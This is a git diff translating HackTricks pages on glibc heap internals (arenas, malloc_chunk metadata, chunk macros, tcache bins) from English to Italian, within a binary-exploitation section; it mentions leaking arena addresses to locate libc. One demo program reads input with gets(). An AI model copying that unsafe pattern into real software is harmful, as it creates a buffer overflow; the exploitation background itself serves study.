Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**Ogni heap** (arena principale o altre arene dei thread) ha una **struttura `malloc_state`.**\ +È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi si trova nello spazio di memoria della libc).\ +Nel caso delle **strutture `malloc_state`** degli heap dei thread, esse si trovano **all'interno del "heap" del proprio thread**. -There some interesting things to note from this structure (see C code below): +Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C qui sotto): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time +- `__libc_lock_define (, mutex);` È presente per garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta - Flags: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato) +- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**. +- Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene +- Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio. +- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è collocata qui. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +Questa struttura rappresenta un particolare blocco di memoria. I vari campi hanno significati diversi per i blocchi allocati e non allocati. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto bene rappresentati in questa immagine:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +I metadati sono solitamente 0x08B che indicano la dimensione attuale del chunk utilizzando gli ultimi 3 bit per indicare: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: Se 1 proviene da un subheap, se 0 è nell'arena principale +- `M`: Se 1, questo chunk è parte di uno spazio allocato con mmap e non parte di un heap +- `P`: Se 1, il chunk precedente è in uso -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +Poi, lo spazio per i dati dell'utente, e infine 0x08B per indicare la dimensione del chunk precedente quando il chunk è disponibile (o per memorizzare i dati dell'utente quando è allocato). -Moreover, when available, the user data is used to contain also some data: +Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere anche alcuni dati: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: Puntatore al chunk successivo +- **`bk`**: Puntatore al chunk precedente +- **`fd_nextsize`**: Puntatore al primo chunk nella lista che è più piccolo di se stesso +- **`bk_nextsize`:** Puntatore al primo chunk nella lista che è più grande di se stesso

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> Nota come collegare la lista in questo modo previene la necessità di avere un array in cui ogni singolo chunk è registrato. -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### Puntatori Chunk +Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\ +Per queste conversioni vengono utilizzate queste funzioni: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### Allineamento e dimensione minima -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +Il puntatore al chunk e `0x0f` devono essere 0. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +Nota che per calcolare lo spazio totale necessario viene aggiunto `SIZE_SZ` solo 1 volta perché il campo `prev_size` può essere utilizzato per memorizzare dati, quindi è necessario solo l'intestazione iniziale. -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### Ottieni dati del chunk e modifica i metadati -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati: +- Controlla i flag del chunk ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- Dimensioni e puntatori ad altri chunk ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - - Insue bit - ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- Imposta intestazione e piè di pagina (quando i numeri dei chunk sono in uso) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- Ottieni la dimensione dei dati reali utilizzabili all'interno del chunk ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## Esempi -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### Esempio Veloce di Heap +Esempio veloce di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +Imposta un breakpoint alla fine della funzione principale e scopriamo dove sono state memorizzate le informazioni:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che era l'indirizzo fornito come risposta da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è utilizzato** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`. +Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale intestazione hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### Esempio di Multithreading
Multithread - ```c #include #include @@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +Debuggando l'esempio precedente è possibile vedere come all'inizio ci sia solo 1 arena:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata una nuova arena:
-and inside of it some chunks can be found: +e all'interno di essa si possono trovare alcuni chunk:
## Bins & Memory Allocations/Frees -Check what are the bins and how are they organized and how memory is allocated and freed in: +Controlla quali sono i bins e come sono organizzati e come la memoria viene allocata e liberata in: {{#ref}} bins-and-memory-allocations.md @@ -517,7 +491,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +Le funzioni coinvolte nell'heap eseguiranno alcuni controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto: {{#ref}} heap-memory-functions/heap-functions-security-checks.md diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..19f29d125 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista collegata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread. -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +L'indirizzo iniziale di ciascun unsorted, small e large bins è all'interno dello stesso array. L'indice 0 è inutilizzato, 1 è l'unsorted bin, i bins 2-64 sono small bins e i bins 65-127 sono large bins. -### Tcache (Per-Thread Cache) Bins +### Tcache (Cache per Thread) Bins -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **condividerà l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lockers**, che potrebbero **rallentare significativamente i thread**. -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Pertanto, un tcache è simile a un fast bin per thread nel modo in cui è una **singola lista collegata** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B su sistemi a 64 bit e da 12 a 516B su sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**Quando un thread libera** un chunk, **se non è troppo grande** per essere allocato nel tcache e il rispettivo tcache bin **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare il lock dell'heap per poter eseguire l'operazione di liberazione globalmente. -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +Quando un **chunk è allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti dovrà aspettare il lock dell'heap per poter trovarne uno nei bins globali o crearne uno nuovo.\ +C'è anche un'ottimizzazione, in questo caso, mentre ha il lock dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, così nel caso ne avesse bisogno di più, li troverà nel Tcache.
-Add a tcache chunk example - +Aggiungi un esempio di chunk tcache ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +Compilalo e debugga con un breakpoint nell'istruzione ret della funzione main. Poi con gef puoi vedere il tcache bin in uso: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Strutture e Funzioni Tcache -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +Nel seguente codice è possibile vedere i **max bins** e i **chunks per index**, la struttura **`tcache_entry`** creata per evitare doppie liberazioni e **`tcache_perthread_struct`**, una struttura che ogni thread utilizza per memorizzare gli indirizzi di ciascun indice del bin.
-tcache_entry and tcache_perthread_struct - +tcache_entry e tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each 